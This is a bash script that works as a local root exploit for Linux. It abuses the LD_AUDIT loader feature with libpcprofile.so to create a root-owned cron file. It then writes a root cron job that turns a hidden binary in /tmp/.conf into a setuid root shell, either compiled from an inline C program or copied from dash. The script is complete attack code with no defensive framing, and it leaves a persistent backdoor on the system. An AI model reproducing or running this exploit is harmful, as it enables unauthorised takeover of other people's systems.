#!/bin/bash

GCC=$(which gcc)
DASH=$(which dash)
BASH=$(which bash)
OUTDIR="/tmp/.conf"
OUTPUT="/temp"

CRON="/etc/cron.d/f"
YEAR=$(ls -l /lib/libpcprofile.so | awk '{print $8}')

function error() {
	echo "[!] error. exiting.."
	exit 0
}
umask 0
cd /tmp
if [ "$YEAR" == "2008" ] || [ "$YEAR" == "2009" ] || [ "$YEAR" == "2010" ]; then
	echo -n "[+] libpcprofile year: "$YEAR
	LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$CRON" ping 1>/dev/null 2>/dev/null
	if [ -f $CRON ]; then
		echo -n "[+] existe crontab"
		mkdir -p ${OUTDIR}		
		if [ "$GCC" != "" ]; then
			echo -n "[+] existe gcc"
			echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > ${OUTDIR}${OUTPUT}.c
			gcc -o ${OUTDIR}${OUTPUT} ${OUTDIR}${OUTPUT}.c
			if [ -f ${OUTDIR}${OUTPUT} ]; then
				echo -n "[+] existe trigger #1"
				echo -e "* * * * * root chown root.root "${OUTDIR}${OUTPUT}"; chmod 4755 "${OUTDIR}${OUTPUT}" \n" > ${CRON}
			else
				error
			fi
		else
			if [ "$DASH" != "" ]; then
				echo -n "[+] existe trigger #2"
				echo -e "* * * * * root cp "${DASH}" "${OUTDIR}${OUTPUT}" ; chmod u+s "${OUTDIR}${OUTPUT}" \n" > ${CRON}
			elif [ "$BASH" != "" ]; then
				echo "[+] existe trigger #3"
				echo -e "* * * * * root aptitude install dash -y ; cp /bin/dash "${OUTDIR}${OUTPUT}" ; chmod u+s "${OUTDIR}${OUTPUT}" \n" > ${CRON}
			fi
		fi
	else
		error
	fi
else	
	error
fi
cd /tmp